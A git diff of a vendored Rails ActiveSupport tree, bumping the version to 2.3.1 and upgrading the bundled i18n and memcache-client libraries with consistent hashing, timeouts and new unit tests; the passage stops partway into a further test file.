b/vendor/rails/activesupport/lib/active_support/vendor.rb @@ -9,9 +9,9 @@ end require 'builder' begin - gem 'memcache-client', '~> 1.5.0.5' + gem 'memcache-client', '>= 1.6.5' rescue Gem::LoadError - $:.unshift "#{File.dirname(__FILE__)}/vendor/memcache-client-1.5.0.5" + $:.unshift "#{File.dirname(__FILE__)}/vendor/memcache-client-1.6.5" end begin @@ -22,8 +22,8 @@ end # TODO I18n gem has not been released yet # begin -# gem 'i18n', '~> 0.1.1' +# gem 'i18n', '~> 0.1.3' # rescue Gem::LoadError - $:.unshift "#{File.dirname(__FILE__)}/vendor/i18n-0.1.1/lib" + $:.unshift "#{File.dirname(__FILE__)}/vendor/i18n-0.1.3/lib" require 'i18n' # end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/.gitignore b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/.gitignore deleted file mode 100644 index 0f41a39f..00000000 --- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/.gitignore +++ /dev/null @@ -1,3 +0,0 @@ -.DS_Store -test/rails/fixtures -doc diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/MIT-LICENSE b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/MIT-LICENSE similarity index 100% rename from vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/MIT-LICENSE rename to vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/MIT-LICENSE diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/README.textile b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/README.textile similarity index 100% rename from vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/README.textile rename to vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/README.textile diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/Rakefile b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/Rakefile similarity index 100% rename from vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/Rakefile rename to vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/Rakefile diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/i18n.gemspec b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/i18n.gemspec similarity index 94% rename from vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/i18n.gemspec rename to vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/i18n.gemspec index 14294606..f102689a 100644 --- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/i18n.gemspec +++ b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/i18n.gemspec @@ -1,7 +1,7 @@ Gem::Specification.new do |s| s.name = "i18n" - s.version = "0.1.1" - s.date = "2008-10-26" + s.version = "0.1.3" + s.date = "2009-01-09" s.summary = "Internationalization support for Ruby" s.email = "rails-i18n@googlegroups.com" s.homepage = "http://rails-i18n.org" diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/lib/i18n.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/lib/i18n.rb similarity index 100% rename from vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/lib/i18n.rb rename to vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/lib/i18n.rb diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/lib/i18n/backend/simple.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/lib/i18n/backend/simple.rb similarity index 96% rename from vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/lib/i18n/backend/simple.rb rename to vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/lib/i18n/backend/simple.rb index b54164d4..c09acd7d 100644 --- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/lib/i18n/backend/simple.rb +++ b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/lib/i18n/backend/simple.rb @@ -151,12 +151,7 @@ module I18n def interpolate(locale, string, values = {}) return string unless string.is_a?(String) - if string.respond_to?(:force_encoding) - original_encoding = string.encoding - string.force_encoding(Encoding::BINARY) - end - - result = string.gsub(MATCH) do + string.gsub(MATCH) do escaped, pattern, key = $1, $2, $2.to_sym if escaped @@ -169,9 +164,6 @@ module I18n values[key].to_s end end - - result.force_encoding(original_encoding) if original_encoding - result end # Loads a single translations file by delegating to #load_rb or diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/lib/i18n/exceptions.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/lib/i18n/exceptions.rb similarity index 100% rename from vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/lib/i18n/exceptions.rb rename to vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/lib/i18n/exceptions.rb diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/test/all.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/all.rb similarity index 100% rename from vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/test/all.rb rename to vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/all.rb diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/test/i18n_exceptions_test.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/i18n_exceptions_test.rb similarity index 100% rename from vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/test/i18n_exceptions_test.rb rename to vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/i18n_exceptions_test.rb diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/test/i18n_test.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/i18n_test.rb similarity index 100% rename from vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/test/i18n_test.rb rename to vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/i18n_test.rb diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/test/locale/en.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/locale/en.rb similarity index 100% rename from vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/test/locale/en.rb rename to vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/locale/en.rb diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/test/locale/en.yml b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/locale/en.yml similarity index 100% rename from vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/test/locale/en.yml rename to vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/locale/en.yml diff --git a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/test/simple_backend_test.rb b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/simple_backend_test.rb similarity index 90% rename from vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/test/simple_backend_test.rb rename to vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/simple_backend_test.rb index 8ba7036a..7b7b1375 100644 --- a/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.1/test/simple_backend_test.rb +++ b/vendor/rails/activesupport/lib/active_support/vendor/i18n-0.1.3/test/simple_backend_test.rb @@ -253,6 +253,32 @@ class I18nSimpleBackendInterpolateTest < Test::Unit::TestCase assert_equal 'Häi David!', @backend.send(:interpolate, nil, 'Häi {{name}}!', :name => 'David') end + def test_interpolate_given_an_unicode_value_hash_interpolates_to_the_string + assert_equal 'Hi ゆきひろ!', @backend.send(:interpolate, nil, 'Hi {{name}}!', :name => 'ゆきひろ') + end + + def test_interpolate_given_an_unicode_value_hash_interpolates_into_unicode_string + assert_equal 'こんにちは、ゆきひろさん!', @backend.send(:interpolate, nil, 'こんにちは、{{name}}さん!', :name => 'ゆきひろ') + end + + if Kernel.const_defined?(:Encoding) + def test_interpolate_given_a_non_unicode_multibyte_value_hash_interpolates_into_a_string_with_the_same_encoding + assert_equal euc_jp('Hi ゆきひろ!'), @backend.send(:interpolate, nil, 'Hi {{name}}!', :name => euc_jp('ゆきひろ')) + end + + def test_interpolate_given_an_unicode_value_hash_into_a_non_unicode_multibyte_string_raises_encoding_compatibility_error + assert_raises(Encoding::CompatibilityError) do + @backend.send(:interpolate, nil, euc_jp('こんにちは、{{name}}さん!'), :name => 'ゆきひろ') + end + end + + def test_interpolate_given_a_non_unicode_multibyte_value_hash_into_an_unicode_string_raises_encoding_compatibility_error + assert_raises(Encoding::CompatibilityError) do + @backend.send(:interpolate, nil, 'こんにちは、{{name}}さん!', :name => euc_jp('ゆきひろ')) + end + end + end + def test_interpolate_given_nil_as_a_string_returns_nil assert_nil @backend.send(:interpolate, nil, nil, :name => 'David') end @@ -272,6 +298,12 @@ class I18nSimpleBackendInterpolateTest < Test::Unit::TestCase def test_interpolate_given_a_string_containing_a_reserved_key_raises_reserved_interpolation_key assert_raises(I18n::ReservedInterpolationKey) { @backend.send(:interpolate, nil, '{{default}}', {:default => nil}) } end + + private + + def euc_jp(string) + string.encode!(Encoding::EUC_JP) + end end class I18nSimpleBackendLocalizeDateTest < Test::Unit::TestCase @@ -485,6 +517,10 @@ end class I18nSimpleBackendLoadPathTest < Test::Unit::TestCase include I18nSimpleBackendTestSetup + def teardown + I18n.load_path = [] + end + def test_nested_load_paths_do_not_break_locale_loading @backend = I18n::Backend::Simple.new I18n.load_path = [[File.dirname(__FILE__) + '/locale/en.yml']] @@ -492,6 +528,14 @@ class I18nSimpleBackendLoadPathTest < Test::Unit::TestCase assert_nothing_raised { @backend.send :init_translations } assert_not_nil backend_get_translations end + + def test_adding_arrays_of_filenames_to_load_path_do_not_break_locale_loading + @backend = I18n::Backend::Simple.new + I18n.load_path << Dir[File.dirname(__FILE__) + '/locale/*.{rb,yml}'] + assert_nil backend_get_translations + assert_nothing_raised { @backend.send :init_translations } + assert_not_nil backend_get_translations + end end class I18nSimpleBackendReloadTranslationsTest < Test::Unit::TestCase @@ -521,4 +565,4 @@ class I18nSimpleBackendReloadTranslationsTest < Test::Unit::TestCase @backend.reload! assert_equal @backend.initialized?, false end -end \ No newline at end of file +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/memcache-client-1.5.0.5/memcache.rb b/vendor/rails/activesupport/lib/active_support/vendor/memcache-client-1.6.5/memcache.rb similarity index 76% rename from vendor/rails/activesupport/lib/active_support/vendor/memcache-client-1.5.0.5/memcache.rb rename to vendor/rails/activesupport/lib/active_support/vendor/memcache-client-1.6.5/memcache.rb index e90ddf33..4d594c20 100644 --- a/vendor/rails/activesupport/lib/active_support/vendor/memcache-client-1.5.0.5/memcache.rb +++ b/vendor/rails/activesupport/lib/active_support/vendor/memcache-client-1.6.5/memcache.rb @@ -1,52 +1,21 @@ -# All original code copyright 2005, 2006, 2007 Bob Cottrell, Eric Hodel, -# The Robot Co-op. All rights reserved. -# -# Redistribution and use in source and binary forms, with or without -# modification, are permitted provided that the following conditions -# are met: -# -# 1. Redistributions of source code must retain the above copyright -# notice, this list of conditions and the following disclaimer. -# 2. Redistributions in binary form must reproduce the above copyright -# notice, this list of conditions and the following disclaimer in the -# documentation and/or other materials provided with the distribution. -# 3. Neither the names of the authors nor the names of their contributors -# may be used to endorse or promote products derived from this software -# without specific prior written permission. -# -# THIS SOFTWARE IS PROVIDED BY THE AUTHORS ``AS IS'' AND ANY EXPRESS -# OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -# ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE -# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, -# OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT -# OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR -# BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, -# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE -# OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, -# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - $TESTING = defined?($TESTING) && $TESTING require 'socket' require 'thread' require 'timeout' -require 'rubygems' require 'zlib' +require 'digest/sha1' ## # A Ruby client library for memcached. # -# This is intended to provide access to basic memcached functionality. It -# does not attempt to be complete implementation of the entire API, but it is -# approaching a complete implementation. class MemCache ## # The version of MemCache you are using. - VERSION = '1.5.0.5' + VERSION = '1.6.4.99' ## # Default options for the cache object. @@ -54,8 +23,10 @@ class MemCache DEFAULT_OPTIONS = { :namespace => nil, :readonly => false, - :multithread => false, - :failover => true + :multithread => true, + :failover => true, + :timeout => 0.5, + :logger => nil, } ## @@ -68,13 +39,6 @@ class MemCache DEFAULT_WEIGHT = 1 - ## - # The amount of time to wait for a response from a memcached server. If a - # response is not completed within this time, the connection to the server - # will be closed and an error will be raised. - - attr_accessor :request_timeout - ## # The namespace for this instance @@ -91,9 +55,22 @@ class MemCache attr_reader :servers ## - # Whether this client should failover reads and writes to another server + # Socket timeout limit with this client, defaults to 0.5 sec. + # Set to nil to disable timeouts. + + attr_reader :timeout + + ## + # Should the client try to failover to another server if the + # first server is down? Defaults to true. + + attr_reader :failover + + ## + # Log debug/info/warn/error to the given Logger, defaults to nil. + + attr_reader :logger - attr_accessor :failover ## # Accepts a list of +servers+ and a list of +opts+. +servers+ may be # omitted. See +servers=+ for acceptable server list arguments. @@ -103,7 +80,11 @@ class MemCache # [:namespace] Prepends this value to all keys added or retrieved. # [:readonly] Raises an exception on cache writes when true. # [:multithread] Wraps cache access in a Mutex for thread safety. - # + # [:failover] Should the client try to failover to another server if the + # first server is down? Defaults to true. + # [:timeout] Time to use as the socket read timeout. Defaults to 0.5 sec, + # set to nil to disable timeouts (this is a major performance penalty in Ruby 1.8). + # [:logger] Logger to use for info/debug output, defaults to nil # Other options are ignored. def initialize(*args) @@ -130,9 +111,15 @@ class MemCache @namespace = opts[:namespace] @readonly = opts[:readonly] @multithread = opts[:multithread] - @failover = opts[:failover] + @timeout = opts[:timeout] + @failover = opts[:failover] + @logger = opts[:logger] @mutex = Mutex.new if @multithread - @buckets = [] + + logger.info { "memcache-client #{VERSION} #{Array(servers).inspect}" } if logger + + Thread.current[:memcache_client] = self.object_id if !@multithread + self.servers = servers end @@ -140,8 +127,8 @@ class MemCache # Returns a string representation of the cache object. def inspect - "" % - [@servers.length, @buckets.length, @namespace, @readonly] + "" % + [@servers.length, @namespace, @readonly] end ## @@ -162,7 +149,7 @@ class MemCache # Set the servers that the requests will be distributed between. Entries # can be either strings of the form "hostname:port" or # "hostname:port:weight" or MemCache::Server objects. - + # def servers=(servers) # Create the server objects. @servers = Array(servers).collect do |server| @@ -172,21 +159,17 @@ class MemCache port ||= DEFAULT_PORT weight ||= DEFAULT_WEIGHT Server.new self, host, port, weight - when Server - if server.memcache.multithread != @multithread then - raise ArgumentError, "can't mix threaded and non-threaded servers" - end - server else - raise TypeError, "cannot convert #{server.class} into MemCache::Server" + server end end - # Create an array of server buckets for weight selection of servers. - @buckets = [] - @servers.each do |server| - server.weight.times { @buckets.push(server) } - end + logger.debug { "Servers now: #{@servers.inspect}" } if logger + + # There's no point in doing this if there's only one server + @continuum = create_continuum_for(@servers) if @servers.size > 1 + + @servers end ## @@ -210,6 +193,7 @@ class MemCache def get(key, raw = false) with_server(key) do |server, cache_key| value = cache_get server, cache_key + logger.debug { "GET #{key} from #{server.inspect}: #{value ? value.to_s.size : 'nil'}" } if logger return nil if value.nil? value = Marshal.load value unless raw return value @@ -233,6 +217,8 @@ class MemCache # cache["a"] = 1 # cache["b"] = 2 # cache.get_multi "a", "b" # => { "a" => 1, "b" => 2 } + # + # Note that get_multi assumes the values are marshalled. def get_multi(*keys) raise MemCacheError, 'No active servers' unless active? @@ -252,15 +238,20 @@ class MemCache results = {} server_keys.each do |server, keys_for_server| - keys_for_server = keys_for_server.join ' ' - values = cache_get_multi server, keys_for_server - values.each do |key, value| - results[cache_keys[key]] = Marshal.load value + keys_for_server_str = keys_for_server.join ' ' + begin + values = cache_get_multi server, keys_for_server_str + values.each do |key, value| + results[cache_keys[key]] = Marshal.load value + end + rescue IndexError => e + # Ignore this server and try the others + logger.warn { "Unable to retrieve #{keys_for_server.size} elements from #{server.inspect}: #{e.message}"} if logger end end return results - rescue TypeError, IndexError => err + rescue TypeError => err handle_error nil, err end @@ -285,12 +276,19 @@ class MemCache # Warning: Readers should not call this method in the event of a cache miss; # see MemCache#add. + ONE_MB = 1024 * 1024 + def set(key, value, expiry = 0, raw = false) raise MemCacheError, "Update of readonly cache" if @readonly with_server(key) do |server, cache_key| value = Marshal.dump value unless raw - command = "set #{cache_key} 0 #{expiry} #{value.to_s.size}\r\n#{value}\r\n" + logger.debug { "SET #{key} to #{server.inspect}: #{value ? value.to_s.size : 'nil'}" } if logger + + data = value.to_s + raise MemCacheError, "Value too large, memcached can only store 1MB of data per key" if data.size > ONE_MB + + command = "set #{cache_key} 0 #{expiry} #{data.size}\r\n#{data}\r\n" with_socket_management(server) do |socket| socket.write command @@ -319,7 +317,8 @@ class MemCache raise MemCacheError, "Update of readonly cache" if @readonly with_server(key) do |server, cache_key| value = Marshal.dump value unless raw - command = "add #{cache_key} 0 #{expiry} #{value.size}\r\n#{value}\r\n" + logger.debug { "ADD #{key} to #{server}: #{value ? value.to_s.size : 'nil'}" } if logger + command = "add #{cache_key} 0 #{expiry} #{value.to_s.size}\r\n#{value}\r\n" with_socket_management(server) do |socket| socket.write command @@ -353,7 +352,6 @@ class MemCache raise MemCacheError, "Update of readonly cache" if @readonly begin - @mutex.lock if @multithread @servers.each do |server| with_socket_management(server) do |socket| socket.write "flush_all\r\n" @@ -364,8 +362,6 @@ class MemCache end rescue IndexError => err handle_error nil, err - ensure - @mutex.unlock if @multithread end end @@ -424,7 +420,7 @@ class MemCache while line = socket.gets do raise_on_error_response! line break if line == "END\r\n" - if line =~ /\ASTAT ([\w]+) ([\w\.\:]+)/ then + if line =~ /\ASTAT ([\S]+) ([\w\.\:]+)/ then name, value = $1, $2 stats[name] = case name when 'version' @@ -477,6 +473,14 @@ class MemCache end end + ## + # Returns an interoperable hash value for +key+. (I think, docs are + # sketchy for down servers). + + def hash_for(key) + Zlib.crc32(key) + end + ## # Pick a server to handle the request based on a hash of the key. @@ -487,29 +491,19 @@ class MemCache raise MemCacheError, "No servers available" if @servers.empty? return @servers.first if @servers.length == 1 - hkey = hash_for key - - if @failover - 20.times do |try| - server = @buckets[hkey % @buckets.compact.size] - return server if server.alive? - hkey += hash_for "#{try}#{key}" - end - else - return @buckets[hkey % @buckets.compact.size] + hkey = hash_for(key) + + 20.times do |try| + entryidx = Continuum.binary_search(@continuum, hkey) + server = @continuum[entryidx].server + return server if server.alive? + break unless failover + hkey = hash_for "#{try}#{key}" end - + raise MemCacheError, "No servers available" end - ## - # Returns an interoperable hash value for +key+. (I think, docs are - # sketchy for down servers). - - def hash_for(key) - (Zlib.crc32(key) >> 16) & 0x7fff - end - ## # Performs a raw decr for +cache_key+ from +server+. Returns nil if not # found. @@ -608,24 +602,28 @@ class MemCache # failures (but does still apply to unexpectedly lost connections etc.). def with_socket_management(server, &block) + check_multithread_status! + @mutex.lock if @multithread retried = false - + begin socket = server.socket # Raise an IndexError to show this server is out of whack. If were inside # a with_server block, we'll catch it and attempt to restart the operation. - + raise IndexError, "No connection to server (#{server.status})" if socket.nil? - + block.call(socket) - + rescue SocketError => err - server.mark_dead(err.message) + logger.warn { "Socket failure: #{err.message}" } if logger + server.mark_dead(err) handle_error(server, err) - rescue MemCacheError, SocketError, SystemCallError, IOError => err + rescue MemCacheError, SystemCallError, IOError => err + logger.warn { "Generic failure: #{err.class.name}: #{err.message}" } if logger handle_error(server, err) if retried || socket.nil? retried = true retry @@ -640,8 +638,9 @@ class MemCache server, cache_key = request_setup(key) yield server, cache_key rescue IndexError => e + logger.warn { "Server failed: #{e.class.name}: #{e.message}" } if logger if !retried && @servers.size > 1 - puts "Connection to server #{server.inspect} DIED! Retrying operation..." + logger.info { "Connection to server #{server.inspect} DIED! Retrying operation..." } if logger retried = true retry end @@ -677,6 +676,37 @@ class MemCache end end + def create_continuum_for(servers) + total_weight = servers.inject(0) { |memo, srv| memo + srv.weight } + continuum = [] + + servers.each do |server| + entry_count_for(server, servers.size, total_weight).times do |idx| + hash = Digest::SHA1.hexdigest("#{server.host}:#{server.port}:#{idx}") + value = Integer("0x#{hash[0..7]}") + continuum << Continuum::Entry.new(value, server) + end + end + + continuum.sort { |a, b| a.value <=> b.value } + end + + def entry_count_for(server, total_servers, total_weight) + ((total_servers * Continuum::POINTS_PER_SERVER * server.weight) / Float(total_weight)).floor + end + + def check_multithread_status! + return if @multithread + + if Thread.current[:memcache_client] != self.object_id + raise MemCacheError, <<-EOM + You are accessing this memcache-client instance from multiple threads but have not enabled multithread support. + Normally: MemCache.new(['localhost:11211'], :multithread => true) + In Rails: config.cache_store = [:mem_cache_store, 'localhost:11211', { :multithread => true }] + EOM + end + end + ## # This class represents a memcached server instance. @@ -689,13 +719,6 @@ class MemCache CONNECT_TIMEOUT = 0.25 - ## - # The amount of time to wait for a response from a memcached server. - # If a response isn't received within this time limit, - # the server will be marked as down. - - SOCKET_TIMEOUT = 0.5 - ## # The amount of time to wait before attempting to re-establish a # connection with a server that is marked dead. @@ -727,6 +750,8 @@ class MemCache attr_reader :status + attr_reader :logger + ## # Create a new MemCache::Server object for the memcached instance # listening on the given host and port, weighted by the given weight. @@ -735,17 +760,15 @@ class MemCache raise ArgumentError, "No host specified" if host.nil? or host.empty? raise ArgumentError, "No port specified" if port.nil? or port.to_i.zero? - @memcache = memcache @host = host @port = port.to_i @weight = weight.to_i - @multithread = @memcache.multithread - @mutex = Mutex.new - @sock = nil @retry = nil @status = 'NOT CONNECTED' + @timeout = memcache.timeout + @logger = memcache.logger end ## @@ -770,7 +793,6 @@ class MemCache # Returns the connected socket object on success or nil on failure. def socket - @mutex.lock if @multithread return @sock if @sock and not @sock.closed? @sock = nil @@ -780,8 +802,7 @@ class MemCache # Attempt to connect if not already connected. begin - - @sock = TCPTimeoutSocket.new @host, @port + @sock = @timeout ? TCPTimeoutSocket.new(@host, @port, @timeout) : TCPSocket.new(@host, @port) if Socket.constants.include? 'TCP_NODELAY' then @sock.setsockopt Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1 @@ -789,12 +810,11 @@ class MemCache @retry = nil @status = 'CONNECTED' rescue SocketError, SystemCallError, IOError, Timeout::Error => err - mark_dead err.message + logger.warn { "Unable to open socket: #{err.class.name}, #{err.message}" } if logger + mark_dead err end return @sock - ensure - @mutex.unlock if @multithread end ## @@ -802,24 +822,23 @@ class MemCache # object. The server is not considered dead. def close - @mutex.lock if @multithread @sock.close if @sock && !@sock.closed? @sock = nil @retry = nil @status = "NOT CONNECTED" - ensure - @mutex.unlock if @multithread end ## # Mark the server as dead and close its socket. - def mark_dead(reason = "Unknown error") + def mark_dead(error) @sock.close if @sock && !@sock.closed? @sock = nil @retry = Time.now + RETRY_DELAY - @status = sprintf "%s:%s DEAD: %s, will retry at %s", @host, @port, reason, @retry + reason = "#{error.class.name}: #{error.message}" + @status = sprintf "%s:%s DEAD (%s), will retry at %s", @host, @port, reason, @retry + @logger.info { @status } if @logger end end @@ -833,36 +852,84 @@ end # TCPSocket facade class which implements timeouts. class TCPTimeoutSocket - def initialize(*args) + + def initialize(host, port, timeout) Timeout::timeout(MemCache::Server::CONNECT_TIMEOUT, SocketError) do - @sock = TCPSocket.new(*args) - @len = MemCache::Server::SOCKET_TIMEOUT.to_f || 0.5 + @sock = TCPSocket.new(host, port) + @len = timeout end end - + def write(*args) Timeout::timeout(@len, SocketError) do @sock.write(*args) end end - + def gets(*args) Timeout::timeout(@len, SocketError) do @sock.gets(*args) end end - + def read(*args) Timeout::timeout(@len, SocketError) do @sock.read(*args) end end - + def _socket @sock end - + def method_missing(meth, *args) @sock.__send__(meth, *args) end -end \ No newline at end of file + + def closed? + @sock.closed? + end + + def close + @sock.close + end +end + +module Continuum + POINTS_PER_SERVER = 160 # this is the default in libmemcached + + # Find the closest index in Continuum with value <= the given value + def self.binary_search(ary, value, &block) + upper = ary.size - 1 + lower = 0 + idx = 0 + + while(lower <= upper) do + idx = (lower + upper) / 2 + comp = ary[idx].value <=> value + + if comp == 0 + return idx + elsif comp > 0 + upper = idx - 1 + else + lower = idx + 1 + end + end + return upper + end + + class Entry + attr_reader :value + attr_reader :server + + def initialize(val, srv) + @value = val + @server = srv + end + + def inspect + "<#{value}, #{server.host}:#{server.port}>" + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/version.rb b/vendor/rails/activesupport/lib/active_support/version.rb index 3e2b29b3..8b65fffa 100644 --- a/vendor/rails/activesupport/lib/active_support/version.rb +++ b/vendor/rails/activesupport/lib/active_support/version.rb @@ -2,7 +2,7 @@ module ActiveSupport module VERSION #:nodoc: MAJOR = 2 MINOR = 3 - TINY = 0 + TINY = 1 STRING = [MAJOR, MINOR, TINY].join('.') end diff --git a/vendor/rails/activesupport/test/abstract_unit.rb b/vendor/rails/activesupport/test/abstract_unit.rb index ac362d14..a0c0c59e 100644 --- a/vendor/rails/activesupport/test/abstract_unit.rb +++ b/vendor/rails/activesupport/test/abstract_unit.rb @@ -1,6 +1,7 @@ require 'rubygems' require 'test/unit' -gem 'mocha', '>= 0.9.3' + +gem 'mocha', '>= 0.9.5' require 'mocha' $:.unshift "#{File.dirname(__FILE__)}/../lib" diff --git a/vendor/rails/activesupport/test/core_ext/array_ext_test.rb b/vendor/rails/activesupport/test/core_ext/array_ext_test.rb index 93f44823..b70ec475 100644 --- a/vendor/rails/activesupport/test/core_ext/array_ext_test.rb +++ b/vendor/rails/activesupport/test/core_ext/array_ext_test.rb @@ -48,6 +48,8 @@ class ArrayExtToParamTests < Test::Unit::TestCase end class ArrayExtToSentenceTests < Test::Unit::TestCase + include ActiveSupport::Testing::Deprecation + def test_plain_array_to_sentence assert_equal "", [].to_sentence assert_equal "one", ['one'].to_sentence @@ -56,12 +58,28 @@ class ArrayExtToSentenceTests < Test::Unit::TestCase end def test_to_sentence_with_words_connector + assert_deprecated(":connector has been deprecated. Use :words_connector instead") do + assert_equal "one, two, three", ['one', 'two', 'three'].to_sentence(:connector => '') + end + + assert_deprecated(":connector has been deprecated. Use :words_connector instead") do + assert_equal "one, two, and three", ['one', 'two', 'three'].to_sentence(:connector => 'and ') + end + assert_equal "one two, and three", ['one', 'two', 'three'].to_sentence(:words_connector => ' ') assert_equal "one & two, and three", ['one', 'two', 'three'].to_sentence(:words_connector => ' & ') assert_equal "onetwo, and three", ['one', 'two', 'three'].to_sentence(:words_connector => nil) end def test_to_sentence_with_last_word_connector + assert_deprecated(":skip_last_comma has been deprecated. Use :last_word_connector instead") do + assert_equal "one, two and three", ['one', 'two', 'three'].to_sentence(:skip_last_comma => true) + end + + assert_deprecated(":skip_last_comma has been deprecated. Use :last_word_connector instead") do + assert_equal "one, two, and three", ['one', 'two', 'three'].to_sentence(:skip_last_comma => false) + end + assert_equal "one, two, and also three", ['one', 'two', 'three'].to_sentence(:last_word_connector => ', and also ') assert_equal "one, twothree", ['one', 'two', 'three'].to_sentence(:last_word_connector => nil) assert_equal "one, two three", ['one', 'two', 'three'].to_sentence(:last_word_connector => ' ') @@ -302,3 +320,37 @@ class ArrayExtRandomTests < Test::Unit::TestCase assert_equal 2, [1, 2, 3].rand end end + +class ArrayWrapperTests < Test::Unit::TestCase + class FakeCollection + def to_ary + ["foo", "bar"] + end + end + + def test_array + ary = %w(foo bar) + assert_same ary, Array.wrap(ary) + end + + def test_nil + assert_equal [], Array.wrap(nil) + end + + def test_object + o = Object.new + assert_equal [o], Array.wrap(o) + end + + def test_string + assert_equal ["foo"], Array.wrap("foo") + end + + def test_string_with_newline + assert_equal ["foo\nbar"], Array.wrap("foo\nbar") + end + + def test_object_with_to_ary + assert_equal ["foo", "bar"], Array.wrap(FakeCollection.new) + end +end diff --git a/vendor/rails/activesupport/test/core_ext/date_ext_test.rb b/vendor/rails/activesupport/test/core_ext/date_ext_test.rb index 2cedf651..1001868c 100644 --- a/vendor/rails/activesupport/test/core_ext/date_ext_test.rb +++ b/vendor/rails/activesupport/test/core_ext/date_ext_test.rb @@ -240,13 +240,11 @@ class DateExtCalculationsTest < Test::Unit::TestCase end def test_current_returns_time_zone_today_when_zone_default_set - silence_warnings do # silence warnings raised by tzinfo gem - Time.zone_default = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] - with_env_tz 'US/Central' do - Time.stubs(:now).returns Time.local(1999, 12, 31, 23) - assert_equal Date.new(1999, 12, 31), Date.today - assert_equal Date.new(2000, 1, 1), Date.current - end + Time.zone_default = ActiveSupport::TimeZone['Eastern Time (US & Canada)'] + with_env_tz 'US/Central' do + Time.stubs(:now).returns Time.local(1999, 12, 31, 23) + assert_equal Date.new(1999, 12, 31), Date.today + assert_equal Date.new(2000, 1, 1), Date.current end ensure Time.zone_default = nil diff --git a/vendor/rails/activesupport/test/core_ext/duration_test.rb b/vendor/rails/activesupport/test/core_ext/duration_test.rb index 3948006b..ab5a8666 100644 --- a/vendor/rails/activesupport/test/core_ext/duration_test.rb +++ 